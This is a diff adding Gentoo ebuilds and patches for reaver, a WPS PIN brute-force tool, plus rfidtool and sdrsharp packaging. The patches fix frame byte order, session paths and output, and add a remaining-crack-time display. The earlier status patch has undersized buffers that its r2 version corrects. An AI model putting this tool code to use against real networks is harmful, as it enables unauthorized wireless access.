++ frame->sequence = __cpu_to_le16(1);
+ frame->status = 0;
+ }
+
+@@ -111,8 +110,8 @@ const void *build_association_management_frame(size_t *len)
+ memset((void *) buf, 0, *len);
+ frame = (struct association_request_management_frame *) buf;
+
+- frame->capability = get_ap_capability();
+- frame->listen_interval = LISTEN_INTERVAL;
++ frame->capability = __cpu_to_le16(get_ap_capability());
++ frame->listen_interval = __cpu_to_le16(LISTEN_INTERVAL);
+ }
+
+ return buf;
+@@ -133,7 +132,7 @@ const void *build_llc_header(size_t *len)
+ header->dsap = LLC_SNAP;
+ header->ssap = LLC_SNAP;
+ header->control_field = UNNUMBERED_FRAME;
+- header->type = DOT1X_AUTHENTICATION;
++ header->type = __cpu_to_be16(DOT1X_AUTHENTICATION);
+
+ }
+
+@@ -279,7 +278,7 @@ const void *build_wfa_header(uint8_t op_code, size_t *len)
+ header = (struct wfa_expanded_header *) buf;
+
+ memcpy(header->id, WFA_VENDOR_ID, sizeof(header->id));
+- header->type = SIMPLE_CONFIG;
++ header->type = __cpu_to_be32(SIMPLE_CONFIG);
+ header->opcode = op_code;
+ }
+
+diff --git a/src/defs.h b/src/defs.h
+index b2f45ea..0c628e7 100644
+--- a/src/defs.h
++++ b/src/defs.h
+@@ -41,6 +41,7 @@
+ #include <string.h>
+ #include <time.h>
+ #include <pcap.h>
++#include <asm/byteorder.h>
+
+ #include "wps.h"
+
+@@ -65,10 +66,10 @@
+ #define MANAGEMENT_FRAME 0x00
+ #define SUBTYPE_BEACON 0x08
+
+-#define DOT1X_AUTHENTICATION 0x8E88
++#define DOT1X_AUTHENTICATION 0x888E
+ #define DOT1X_EAP_PACKET 0x00
+
+-#define SIMPLE_CONFIG 0x01000000
++#define SIMPLE_CONFIG 0x00000001
+
+ #define P1_SIZE 10000
+ #define P2_SIZE 1000
+@@ -282,66 +283,111 @@ enum wfa_elements
+ WEP_TRANSMIT_KEY = 0x10064
+ };
+
++#define IEEE80211_FCTL_VERS 0x0003
++#define IEEE80211_FCTL_FTYPE 0x000c
++#define IEEE80211_FCTL_STYPE 0x00f0
++#define IEEE80211_FCTL_TODS 0x0100
++#define IEEE80211_FCTL_FROMDS 0x0200
++#define IEEE80211_FCTL_MOREFRAGS 0x0400
++#define IEEE80211_FCTL_RETRY 0x0800
++#define IEEE80211_FCTL_PM 0x1000
++#define IEEE80211_FCTL_MOREDATA 0x2000
++#define IEEE80211_FCTL_PROTECTED 0x4000
++#define IEEE80211_FCTL_ORDER 0x8000
++
++#define IEEE80211_SCTL_FRAG 0x000F
++#define IEEE80211_SCTL_SEQ 0xFFF0
++
++#define IEEE80211_FTYPE_MGMT 0x0000
++#define IEEE80211_FTYPE_CTL 0x0004
++#define IEEE80211_FTYPE_DATA 0x0008
++
++/* management */
++#define IEEE80211_STYPE_ASSOC_REQ 0x0000
++#define IEEE80211_STYPE_ASSOC_RESP 0x0010
++#define IEEE80211_STYPE_REASSOC_REQ 0x0020
++#define IEEE80211_STYPE_REASSOC_RESP 0x0030
++#define IEEE80211_STYPE_PROBE_REQ 0x0040
++#define IEEE80211_STYPE_PROBE_RESP 0x0050
++#define IEEE80211_STYPE_BEACON 0x0080
++#define IEEE80211_STYPE_ATIM 0x0090
++#define IEEE80211_STYPE_DISASSOC 0x00A0
++#define IEEE80211_STYPE_AUTH 0x00B0
++#define IEEE80211_STYPE_DEAUTH 0x00C0
++#define IEEE80211_STYPE_ACTION 0x00D0
++
++/* control */
++#define IEEE80211_STYPE_BACK_REQ 0x0080
++#define IEEE80211_STYPE_BACK 0x0090
++#define IEEE80211_STYPE_PSPOLL 0x00A0
++#define IEEE80211_STYPE_RTS 0x00B0
++#define IEEE80211_STYPE_CTS 0x00C0
++#define IEEE80211_STYPE_ACK 0x00D0
++#define IEEE80211_STYPE_CFEND 0x00E0
++#define IEEE80211_STYPE_CFENDACK 0x00F0
++
++/* data */
++#define IEEE80211_STYPE_DATA 0x0000
++#define IEEE80211_STYPE_DATA_CFACK 0x0010
++#define IEEE80211_STYPE_DATA_CFPOLL 0x0020
++#define IEEE80211_STYPE_DATA_CFACKPOLL 0x0030
++#define IEEE80211_STYPE_NULLFUNC 0x0040
++#define IEEE80211_STYPE_CFACK 0x0050
++#define IEEE80211_STYPE_CFPOLL 0x0060
++#define IEEE80211_STYPE_CFACKPOLL 0x0070
++#define IEEE80211_STYPE_QOS_DATA 0x0080
++#define IEEE80211_STYPE_QOS_DATA_CFACK 0x0090
++#define IEEE80211_STYPE_QOS_DATA_CFPOLL 0x00A0
++#define IEEE80211_STYPE_QOS_DATA_CFACKPOLL 0x00B0
++#define IEEE80211_STYPE_QOS_NULLFUNC 0x00C0
++#define IEEE80211_STYPE_QOS_CFACK 0x00D0
++#define IEEE80211_STYPE_QOS_CFPOLL 0x00E0
++#define IEEE80211_STYPE_QOS_CFACKPOLL 0x00F0
++
+ #pragma pack(1)
+ struct radio_tap_header
+ {
+ uint8_t revision;
+ uint8_t pad;
+- uint16_t len;
+- uint32_t flags;
+-};
+-
+-struct frame_control
+-{
+- unsigned version : 2;
+- unsigned type : 2;
+- unsigned sub_type : 4;
+-
+- unsigned to_ds : 1;
+- unsigned from_ds : 1;
+- unsigned more_frag : 1;
+- unsigned retry : 1;
+- unsigned pwr_mgt : 1;
+- unsigned more_data : 1;
+- unsigned protected_frame : 1;
+- unsigned order : 1;
++ __le16 len;
++ __le32 flags;
+ };
+
+ struct dot11_frame_header
+ {
+- struct frame_control fc;
+- uint16_t duration;
++ __le16 fc;
++ __le16 duration;
+ unsigned char addr1[MAC_ADDR_LEN];
+ unsigned char addr2[MAC_ADDR_LEN];
+ unsigned char addr3[MAC_ADDR_LEN];
+- uint16_t frag_seq;
++ __le16 frag_seq;
+ };
+
+ struct authentication_management_frame
+ {
+- uint16_t algorithm;
+- uint16_t sequence;
+- uint16_t status;
++ __le16 algorithm;
++ __le16 sequence;
++ __le16 status;
+ };
+
+ struct association_request_management_frame
+ {
+- uint16_t capability;
+- uint16_t listen_interval;
++ __le16 capability;
++ __le16 listen_interval;
+ };
+
+ struct association_response_management_frame
+ {
+- uint16_t capability;
+- uint16_t status;
+- uint16_t id;
++ __le16 capability;
++ __le16 status;
++ __le16 id;
+ };
+
+ struct beacon_management_frame
+ {
+ unsigned char timestamp[TIMESTAMP_LEN];
+- uint16_t beacon_interval;
+- uint16_t capability;
++ __le16 beacon_interval;
++ __le16 capability;
+ };
+
+ struct llc_header
+@@ -350,7 +396,7 @@ struct llc_header
+ uint8_t ssap;
+ uint8_t control_field;
+ unsigned char org_code[3];
+- uint16_t type;
++ __be16 type;
+ };
+
+ struct dot1X_header
+@@ -371,7 +417,7 @@ struct eap_header
+ struct wfa_expanded_header
+ {
+ unsigned char id[3];
+- uint32_t type;
++ __be32 type;
+ uint8_t opcode;
+ uint8_t flags;
+ };
+diff --git a/src/exchange.c b/src/exchange.c
+index 23c87e9..4f9a82b 100644
+--- a/src/exchange.c
++++ b/src/exchange.c
+@@ -306,26 +306,27 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header)
+
+ /* Cast the radio tap and 802.11 frame headers and parse out the Frame Control field */
+ rt_header = (struct radio_tap_header *) packet;
+- frame_header = (struct dot11_frame_header *) (packet+rt_header->len);
++ size_t rt_header_len = __le16_to_cpu(rt_header->len);
++ frame_header = (struct dot11_frame_header *) (packet+rt_header_len);
+
+ /* Does the BSSID/source address match our target BSSID? */
+ if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) == 0)
+ {
+ /* Is this a data packet sent to our MAC address? */
+- if(frame_header->fc.type == DATA_FRAME &&
+- frame_header->fc.sub_type == SUBTYPE_DATA &&
+- (memcmp(frame_header->addr1, get_mac(), MAC_ADDR_LEN) == 0))
++ if (((frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) ==
++ __cpu_to_le16(IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA)) &&
++ (memcmp(frame_header->addr1, get_mac(), MAC_ADDR_LEN) == 0))
+ {
+ llc = (struct llc_header *) (packet +
+- rt_header->len +
++ rt_header_len +
+ sizeof(struct dot11_frame_header)
+ );
+
+ /* All packets in our exchanges will be 802.1x */
+- if(llc->type == DOT1X_AUTHENTICATION)
++ if(llc->type == __cpu_to_be16(DOT1X_AUTHENTICATION))
+ {
+ dot1x = (struct dot1X_header *) (packet +
+- rt_header->len +
++ rt_header_len +
+ sizeof(struct dot11_frame_header) +
+ sizeof(struct llc_header)
+ );
+@@ -334,7 +335,7 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header)
+ if(dot1x->type == DOT1X_EAP_PACKET && (header->len >= EAP_PACKET_SIZE))
+ {
+ eap = (struct eap_header *) (packet +
+- rt_header->len +
++ rt_header_len +
+ sizeof(struct dot11_frame_header) +
+ sizeof(struct llc_header) +
+ sizeof(struct dot1X_header)
+@@ -366,7 +367,7 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header)
+ else if((eap->type == EAP_EXPANDED) && (header->len > WFA_PACKET_SIZE))
+ {
+ wfa = (struct wfa_expanded_header *) (packet +
+- rt_header->len +
++ rt_header_len +
+ sizeof(struct dot11_frame_header) +
+ sizeof(struct llc_header) +
+ sizeof(struct dot1X_header) +
+@@ -374,14 +375,14 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header)
+ );
+
+ /* Verify that this is a WPS message */
+- if(wfa->type == SIMPLE_CONFIG)
++ if(wfa->type == __cpu_to_be32(SIMPLE_CONFIG))
+ {
+ wps_msg_len = (size_t) ntohs(eap->len) -
+ sizeof(struct eap_header) -
+ sizeof(struct wfa_expanded_header);
+
+ wps_msg = (const void *) (packet +
+- rt_header->len +
++ rt_header_len +
+ sizeof(struct dot11_frame_header) +
+ sizeof(struct llc_header) +
+ sizeof(struct dot1X_header) +
+diff --git a/src/wpsmon.c b/src/wpsmon.c
+index d976924..22a394f 100644
+--- a/src/wpsmon.c
++++ b/src/wpsmon.c
+@@ -295,7 +295,8 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *
+ }
+
+ rt_header = (struct radio_tap_header *) radio_header(packet, header->len);
+- frame_header = (struct dot11_frame_header *) (packet + rt_header->len);
++ size_t rt_header_len = __le16_to_cpu(rt_header->len);
++ frame_header = (struct dot11_frame_header *) (packet + rt_header_len);
+
+ /* If a specific BSSID was specified, only parse packets from that BSSID */
+ if(!is_target(frame_header))
+@@ -323,15 +324,17 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *
+ channel_changed = 1;
+ }
+
+- if(frame_header->fc.sub_type == PROBE_RESPONSE ||
+- frame_header->fc.sub_type == SUBTYPE_BEACON)
++ unsigned fsub_type = frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE);
++
++ if(fsub_type == __cpu_to_le16(IEEE80211_STYPE_PROBE_RESP) ||
++ fsub_type == __cpu_to_le16(IEEE80211_STYPE_BEACON))
+ {
+ wps_parsed = parse_wps_parameters(packet, header->len, wps);
+ }
+
+ if(!is_done(bssid) && (get_channel() == channel || source == PCAP_FILE))
+ {
+- if(frame_header->fc.sub_type == SUBTYPE_BEACON &&
++ if(fsub_type == __cpu_to_le16(IEEE80211_STYPE_BEACON) &&
+ mode == SCAN &&
+ !passive &&
+ should_probe(bssid))
+@@ -369,7 +372,7 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *
+ * If there was no WPS information, then the AP does not support WPS and we should ignore it from here on.
+ * If this was a probe response, then we've gotten all WPS info we can get from this AP and should ignore it from here on.
+ */
+- if(!wps_parsed || frame_header->fc.sub_type == PROBE_RESPONSE)
++ if(!wps_parsed || fsub_type == __cpu_to_le16(IEEE80211_STYPE_PROBE_RESP))
+ {
+ mark_ap_complete(bssid);
+ }
+--
+1.7.7
+
diff --git a/net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch b/net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch
new file mode 100644
index 00000000..dd1bb427
--- /dev/null
+++ b/net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch
@@ -0,0 +1,53 @@
+From cd444949f3176790101b8bdc9656831a03d8c01d Mon Sep 17 00:00:00 2001
+From: Paul Fertser <fercerpav@gmail.com>
+Date: Tue, 10 Jul 2012 11:13:29 +0400
+Subject: [PATCH 2/3] Use the current directory for storing and loading
+ sessions
+
+This allows the user to always explicitely choose (by changing the
+current directory before launching the program) where the session
+files should go. Useful e.g. to avoid hogging the precious space on
+embedded devices, just cd /tmp before starting the app.
+
+Signed-off-by: Paul Fertser <fercerpav@gmail.com>
+---
+ src/session.c | 16 +++-------------
+ 1 files changed, 3 insertions(+), 13 deletions(-)
+
+diff --git a/src/session.c b/src/session.c
+index d3af0c3..308f213 100644
+--- a/src/session.c
++++ b/src/session.c
+@@ -62,7 +62,7 @@ int restore_session()
+ memset(file, 0, FILENAME_MAX);
+
+ bssid = mac2str(get_bssid(), '\0');
+- snprintf(file, FILENAME_MAX, "%s/%s.%s", CONF_DIR, bssid, CONF_EXT);
++ snprintf(file, FILENAME_MAX, "%s.%s", bssid, CONF_EXT);
+ free(bssid);
+ }
+
+@@ -199,18 +199,8 @@ int save_session()
+ }
+ else
+ {
+- /*
+- * If the configuration directory exists, save the session file there; else, save it to the
+- * current working directory.
+- */
+- if(configuration_directory_exists())
+- {
+- snprintf((char *) &file_name, FILENAME_MAX, "%s/%s.%s", CONF_DIR, bssid, CONF_EXT);
+- }
+- else
+- {
+- snprintf((char *) &file_name, FILENAME_MAX, "%s.%s", bssid, CONF_EXT);
+- }
++ /* save session to the current directory */
++ snprintf((char *) &file_name, FILENAME_MAX, "%s.%s", bssid, CONF_EXT);
+ }
+
+ /* Don't bother saving anything if nothing has been done */
+--
+1.7.7
+
diff --git a/net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch b/net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch
new file mode 100644
index 00000000..64b290b5
--- /dev/null
+++ b/net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch
@@ -0,0 +1,38 @@
+From 638bb8d70d6c7e5dc99975e0bf57d8ce0455e2cc Mon Sep 17 00:00:00 2001
+From: Paul Fertser <fercerpav@gmail.com>
+Date: Tue, 10 Jul 2012 11:25:00 +0400
+Subject: [PATCH 3/3] wash/wpsmon: use less useless spaces in output to fit
+ narrow terminals
+
+Signed-off-by: Paul Fertser <fercerpav@gmail.com>
+---
+ src/wpsmon.c | 6 +++---
+ 1 files changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/src/wpsmon.c b/src/wpsmon.c
+index 22a394f..e0948b3 100644
+--- a/src/wpsmon.c
++++ b/src/wpsmon.c
+@@ -262,8 +262,8 @@ void monitor(char *bssid, int passive, int source, int channel, int mode)
+
+ if(!header_printed)
+ {
+- cprintf(INFO, "BSSID Channel RSSI WPS Version WPS Locked ESSID\n");
+- cprintf(INFO, "---------------------------------------------------------------------------------------------------------------\n");
++ cprintf(INFO, "BSSID Channel RSSI WPS Version WPS Locked ESSID\n");
++ cprintf(INFO, "--------------------------------------------------------------------------------------\n");
+ header_printed = 1;
+ }
+
+@@ -360,7 +360,7 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *
+ break;
+ }
+
+- cprintf(INFO, "%17s %2d %.2d %d.%d %s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, ssid);
++ cprintf(INFO, "%17s %2d %.2d %d.%d %s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, ssid);
+ }
+
+ if(probe_sent)
+--
+1.7.7
+
diff --git a/net-wireless/reaver/files/0004-wash-probe-request.patch b/net-wireless/reaver/files/0004-wash-probe-request.patch
new file mode 100644
index 00000000..6cb5a678
--- /dev/null
+++ b/net-wireless/reaver/files/0004-wash-probe-request.patch
@@ -0,0 +1,31 @@
+diff -urN reaver-1.4/src/wpsmon.c reaver-wps-read-only/src/wpsmon.c
+--- reaver-1.4/src/wpsmon.c 2012-01-18 17:02:39.000000000 +0800
++++ reaver-wps-read-only/src/wpsmon.c 2012-10-10 06:45:52.271329168 +0800
+@@ -132,6 +132,11 @@
+ usage(argv[0]);
+ goto end;
+ }
++ else if(get_iface())
++ {
++ /* Get the MAC address of the specified interface */
++ read_iface_mac();
++ }
+
+ if(get_iface() && source == PCAP_FILE)
+ {
+@@ -300,6 +305,7 @@
+
+ set_ssid(NULL);
+ bssid = (char *) mac2str(frame_header->addr3, ':');
++ set_bssid((unsigned char *) frame_header->addr3);
+
+ if(bssid)
+ {
+@@ -383,6 +389,7 @@
+
+ end:
+ if(wps) free(wps);
++ set_bssid((unsigned char *) NULL_MAC);
+
+ return;
+ }
diff --git a/net-wireless/reaver/files/0005-soreau-show-status-r2.patch b/net-wireless/reaver/files/0005-soreau-show-status-r2.patch
new file mode 100644
index 00000000..e55b6929
--- /dev/null
+++ b/net-wireless/reaver/files/0005-soreau-show-status-r2.patch
@@ -0,0 +1,97 @@
+Index: cracker.c
+===================================================================
+--- cracker.c (revision 113)
++++ cracker.c (working copy)
+@@ -285,18 +285,65 @@
+ }
+ }
+
++char *get_max_time_remaining(int average, int attempts_remaining)
++{
++ char *max_time, hours[8], minutes[3], seconds[3];
++ int max_hours = 0, max_minutes = 0, max_seconds = 0;
++
++ max_time = malloc(16);
++
++ if(!max_time)
++ exit(-1);
++
++ if(average)
++ {
++ max_seconds = attempts_remaining * average;
++ if(max_seconds > 60)
++ {
++ max_minutes = max_seconds / 60;
++ max_seconds -= max_minutes * 60;
++ }
++ if(max_minutes > 60)
++ {
++ max_hours = max_minutes / 60;
++ max_minutes -= max_hours * 60;
++ }
++
++ if(max_seconds < 0 || max_minutes < 0 || max_hours < 0)
++ {
++ free(max_time);
++ return NULL;
++ }
++
++ sprintf(hours, "%d", max_hours);
++ sprintf(minutes, "%s%d", max_minutes > 9 ? "" : "0", max_minutes);
++ sprintf(seconds, "%s%d", max_seconds > 9 ? "" : "0", max_seconds);
++
++ sprintf(max_time, "%s:%s:%s", hours, minutes, seconds);
++ }
++ else
++ {
++ free(max_time);
++ return NULL;
++ }
++
++ return max_time;
++}
++
+ /* Displays the status and rate of cracking */
+ void display_status(float pin_count, time_t start_time)
+ {
+ float percentage = 0;
+ int attempts = 0, average = 0;
++ int attempts_remaining = 0;
+ time_t now = 0, diff = 0;
+ struct tm *tm_p = NULL;
+- char time_s[256] = { 0 };
++ char time_s[256] = { 0 }, *max_time;
+
+ if(get_key_status() == KEY1_WIP)
+ {
+ attempts = get_p1_index() + get_p2_index();
++ attempts_remaining = 11000 - attempts;
+ }
+ /*
+ * If we've found the first half of the key, then the entire key1 keyspace
+@@ -305,10 +352,12 @@
+ else if(get_key_status() == KEY2_WIP)
+ {
+ attempts = P1_SIZE + get_p2_index();
++ attempts_remaining = 11000 - attempts;
+ }
+ else if(get_key_status() == KEY_DONE)
+ {
+ attempts = P1_SIZE + P2_SIZE;
++ attempts_remaining = 0;
+ }
+
+ percentage = (float) (((float) attempts / (P1_SIZE + P2_SIZE)) * 100);
+@@ -335,7 +384,12 @@
+ average = 0;
+ }
+
++ max_time = get_max_time_remaining(average, attempts_remaining);
++
+ cprintf(INFO, "[+] %.2f%% complete @ %s (%d seconds/pin)\n", percentage, time_s, average);
++ cprintf(INFO, "[+] Max time remaining at this rate: %s (%d pins left to try)\n", max_time ? max_time : "(undetermined)", attempts_remaining);
+
++ free(max_time);
++
+ return;
+ }
diff --git a/net-wireless/reaver/files/0005-soreau-show-status.patch b/net-wireless/reaver/files/0005-soreau-show-status.patch
new file mode 100644
index 00000000..e6f2799d
--- /dev/null
+++ b/net-wireless/reaver/files/0005-soreau-show-status.patch
@@ -0,0 +1,97 @@
+Index: cracker.c
+===================================================================
+--- cracker.c (revision 113)
++++ cracker.c (working copy)
+@@ -285,18 +285,65 @@
+ }
+ }
+
++char *get_max_time_remaining(int average, int attempts_remaining)
++{
++ char *max_time, hours[12], minutes[2], seconds[2];
++ int max_hours = 0, max_minutes = 0, max_seconds = 0;
++
++ max_time = malloc(16);
++
++ if(!max_time)
++ exit(-1);
++
++ if(average)
++ {
++ max_seconds = attempts_remaining * average;
++ if(max_seconds > 60)
++ {
++ max_minutes = max_seconds / 60;
++ max_seconds -= max_minutes * 60;
++ }
++ if(max_minutes > 60)
++ {
++ max_hours = max_minutes / 60;
++ max_minutes -= max_hours * 60;
++ }
++
++ if(max_seconds < 0 || max_minutes < 0 || max_hours < 0)
++ {
++ free(max_time);
++ return NULL;
++ }
++
++ sprintf(hours, "%d", max_hours);
++ sprintf(minutes, "%s%d", max_minutes > 9 ? "" : "0", max_minutes);
++ sprintf(seconds, "%s%d", max_seconds > 9 ? "" : "0", max_seconds);
++
++ sprintf(max_time, "%s:%s:%s", hours, minutes, seconds);
++ }
++ else
++ {
++ free(max_time);
++ return NULL;
++ }
++
++ return max_time;
++}
++
+ /* Displays the status and rate of cracking */
+ void display_status(float pin_count, time_t start_time)
+ {
+ float percentage = 0;
+ int attempts = 0, average = 0;
++ int attempts_remaining = 0;
+ time_t now = 0, diff = 0;
+ struct tm *tm_p = NULL;
+- char time_s[256] = { 0 };
++ char time_s[256] = { 0 }, *max_time;
+
+ if(get_key_status() == KEY1_WIP)
+ {
+ attempts = get_p1_index() + get_p2_index();
++ attempts_remaining = 11000 - attempts;
+ }
+ /*
+ * If we've found the first half of the key, then the entire key1 keyspace
+@@ -305,10 +352,12 @@
+ else if(get_key_status() == KEY2_WIP)
+ {
+ attempts = P1_SIZE + get_p2_index();
++ attempts_remaining = 11000 - attempts;
+ }
+ else if(get_key_status() == KEY_DONE)
+ {
+ attempts = P1_SIZE + P2_SIZE;
++ attempts_remaining = 0;
+ }
+
+ percentage = (float) (((float) attempts / (P1_SIZE + P2_SIZE)) * 100);
+@@ -335,7 +384,12 @@
+ average = 0;
+ }
+
++ max_time = get_max_time_remaining(average, attempts_remaining);
++
+ cprintf(INFO, "[+] %.2f%% complete @ %s (%d seconds/pin)\n", percentage, time_s, average);
++ cprintf(INFO, "[+] Max time remaining at this rate: %s (%d pins left to try)\n", max_time ? max_time : "(undetermined)", attempts_remaining);
+
++ free(max_time);
++
+ return;
+ } \ No newline at end of file
diff --git a/net-wireless/reaver/metadata.xml b/net-wireless/reaver/metadata.xml
new file mode 100644
index 00000000..a42c02e9
--- /dev/null
+++ b/net-wireless/reaver/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<pkgmetadata>
+<maintainer>
+ <email>oleg@kaa.org.ua</email>
+ <name>Oleg Kravchenko</name>
+</maintainer>
+<maintainer>
+ <email>maksbotan@gentoo.org</email>
+ <name>Maxim Koltsov</name>
+</maintainer>
+</pkgmetadata>
diff --git a/net-wireless/reaver/reaver-1.4-r1.ebuild b/net-wireless/reaver/reaver-1.4-r1.ebuild
new file mode 100644
index 00000000..dd0eb34f
--- /dev/null
+++ b/net-wireless/reaver/reaver-1.4-r1.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/reaver-1.4.ebuild,v 1.1 2012/05/15 19:39:11 maksbotan Exp $
+
+EAPI=4
+
+AUTOTOOLS_IN_SOURCE_BUILD="1"
+
+inherit autotools-utils eutils
+
+DESCRIPTION="Brute force attack against Wifi Protected Setup"
+HOMEPAGE="http://code.google.com/p/reaver-wps/"
+SRC_URI="http://reaver-wps.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="net-libs/libpcap
+ dev-db/sqlite:3"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/${P}/src"
+
+src_prepare() {
+ epatch "${FILESDIR}"/000[1-4]*.patch
+}
+
+src_install() {
+ dobin wash reaver
+
+ insinto "/etc/reaver"
+ doins reaver.db
+
+ doman ../docs/reaver.1.gz
+ dodoc ../docs/README ../docs/README.REAVER ../docs/README.WASH
+}
diff --git a/net-wireless/reaver/reaver-1.4-r2.ebuild b/net-wireless/reaver/reaver-1.4-r2.ebuild
new file mode 100644
index 00000000..71fa4ad9
--- /dev/null
+++ b/net-wireless/reaver/reaver-1.4-r2.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/reaver-1.4.ebuild,v 1.1 2012/05/15 19:39:11 maksbotan Exp $
+
+EAPI=4
+
+AUTOTOOLS_IN_SOURCE_BUILD="1"
+
+inherit autotools-utils eutils
+
+DESCRIPTION="Brute force attack against Wifi Protected Setup"
+HOMEPAGE="http://code.google.com/p/reaver-wps/"
+SRC_URI="http://reaver-wps.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="net-libs/libpcap
+ dev-db/sqlite:3"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/${P}/src"
+
+src_prepare() {
+ epatch "${FILESDIR}"/000[1-4]*.patch
+ #http://code.google.com/p/reaver-wps/issues/detail?id=420
+ epatch "${FILESDIR}"/0005*.patch
+}
+
+src_install() {
+ dobin wash reaver
+
+ insinto "/etc/reaver"
+ doins reaver.db
+
+ doman ../docs/reaver.1.gz
+ dodoc ../docs/README ../docs/README.REAVER ../docs/README.WASH
+}
diff --git a/net-wireless/reaver/reaver-1.4-r3.ebuild b/net-wireless/reaver/reaver-1.4-r3.ebuild
new file mode 100644
index 00000000..c7fcf49a
--- /dev/null
+++ b/net-wireless/reaver/reaver-1.4-r3.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/reaver-1.4.ebuild,v 1.1 2012/05/15 19:39:11 maksbotan Exp $
+
+EAPI=4
+
+AUTOTOOLS_IN_SOURCE_BUILD="1"
+
+inherit autotools-utils eutils
+
+DESCRIPTION="Brute force attack against Wifi Protected Setup"
+HOMEPAGE="http://code.google.com/p/reaver-wps/"
+SRC_URI="http://reaver-wps.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="net-libs/libpcap
+ dev-db/sqlite:3"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/${P}/src"
+
+src_prepare() {
+ epatch "${FILESDIR}"/000[1-4]*.patch
+ #http://code.google.com/p/reaver-wps/issues/detail?id=420
+ epatch "${FILESDIR}"/0005-soreau-show-status-r2.patch
+}
+
+src_install() {
+ dobin wash reaver
+
+ insinto "/etc/reaver"
+ doins reaver.db
+
+ doman ../docs/reaver.1.gz
+ dodoc ../docs/README ../docs/README.REAVER ../docs/README.WASH
+}
diff --git a/net-wireless/rfidtool/Manifest b/net-wireless/rfidtool/Manifest
new file mode 100644
index 00000000..e784b407
--- /dev/null
+++ b/net-wireless/rfidtool/Manifest
@@ -0,0 +1,2 @@
+DIST rfidtool-v0.01.tar.bz2 10125 RMD160 39ab91605c3438b276a8999a7a7ef3dbae5e5544 SHA1 c60185355c6f42972aff86662c4be55a91b97dd6 SHA256 e7e61aa434634121323d0a02435c09b37e0bddab9dd517d4fdfeb1fcb018e5f7
+EBUILD rfidtool-0.01.ebuild 568 RMD160 b17c684f7ad5a1687ab2e83d5f6f965a41a1ba1c SHA1 7c16e0d424fefbce4152215e949ca0ed1636ed34 SHA256 33788a745b376144f24dc039e2061205d6a0ded725a6b6b2efadc97a5230c474
diff --git a/net-wireless/rfidtool/rfidtool-0.01.ebuild b/net-wireless/rfidtool/rfidtool-0.01.ebuild
new file mode 100644
index 00000000..ce66d2fe
--- /dev/null
+++ b/net-wireless/rfidtool/rfidtool-0.01.ebuild
@@ -0,0 +1,26 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+DESCRIPTION="command line rfid interface"
+HOMEPAGE="http://www.bindshell.net/tools/rfidtool"
+SRC_URI="http://www.bindshell.net/tools/rfidtool/$PN-v$PV.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND=""
+
+S="${WORKDIR}"/$PN-v$PV
+
+src_compile() {
+ gcc $CFLAGS main.c rfid.c -o rfidtool || die "compile failed"
+}
+
+src_install() {
+ dobin rfidtool || die "install failed"
+ dodoc README || die "doc install failed"
+}
diff --git a/net-wireless/sdrsharp/ChangeLog b/net-wireless/sdrsharp/ChangeLog
new file mode 100644
index 00000000..d3fa3b78
--- /dev/null
+++ b/net-wireless/sdrsharp/ChangeLog
@@ -0,0 +1,12 @@
+# ChangeLog for net-wireless/sdrsharp
+# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/sdrsharp/ChangeLog,v 1.2 2012/09/10 06:11:56 zerochaos Exp $
+
+ 10 Sep 2012; Rick Farina <zerochaos@gentoo.org> sdrsharp-9999.ebuild:
+ fixed incorrect license thanks to chithanh for noticing
+
+*sdrsharp-9999 (10 Sep 2012)
+
+ 10 Sep 2012; Rick Farina <zerochaos@gentoo.org> +files/sdrsharp,
